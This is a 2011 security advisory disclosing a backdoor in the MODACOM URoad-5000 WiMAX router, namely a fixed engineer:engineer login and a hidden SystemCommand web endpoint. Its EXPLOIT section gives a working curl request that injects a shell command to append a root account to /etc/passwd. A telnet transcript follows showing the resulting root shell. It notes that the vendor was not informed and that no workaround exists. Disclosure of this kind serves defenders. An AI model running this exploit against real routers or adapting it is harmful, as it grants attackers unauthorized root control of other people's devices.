================================================ == Alex Stanev Security Advisory #4 @31.05.2011 == == http://sec.stanev.org == ================================================PRODUCT URoad-5000VENDOR MODACOM [http://www.modacom.co.kr]VERSIONS AFFECTED v1450CLASS Remote command execution/BackdoorPRODUCT DESCRIPTION URoad-5000 is integrated battery powered wireless router. It comes with only one external USB interface and no other hardware comm interfaces (such as ethernet). Based on RaLink SoC 3050. The USB port is used for connection with MW-U3050, which is USB WiMAX dongle. Linux inside. Often marketed as WiMAX 2 WiFi "converter".THE PROBLEM The box uses modified version of RaLink SDK. The standard web interface is accessed via HTTP. 1) Web administration interface can be accessed with standard user/password pair admin:admin This can be later changed, but there is another possible access pair - engineer:engineer and it can't be changed via the web interface. 2) Some of the SDK standard scripts are left and their screens in the web interface are just HTML commented. This reveals the /goform/SystemCommand method.EXPLOIT 1) Remote add r00t user with password boza $curl --basic -u "engineer:engineer" / -d "command=echo -e /"r00t:CRYM.sLY1U1AI:0:0:Adminstrator:/:/bin/sh/" >> /etc/passwd;&SystemCommandSubmit=Apply" / 192.168.100.254/goform/SystemCommand $telnet 192.168.100.254 Trying 192.168.100.254... Connected to 192.168.100.254. modacom login: r00t Password: boza BusyBox v1.12.1 (2010-03-05 21:33:57 KST) built-in shell (ash) Enter 'help' for a list of built-in commands. #ADDITIONAL INFO The flaw was presented on OpenFest 2010. Presentation: http://openfest.org/files/slides-2010/OpenFest2010_Reverse_engineering_Alex_Stanev.pdf [in bulgarian]PATCH/WORKAROUND No workaround possible. Next version?VENDOR STATUS NOT informed. Backdoor. ========================= == EOF == == http://sec.stanev.org == =========================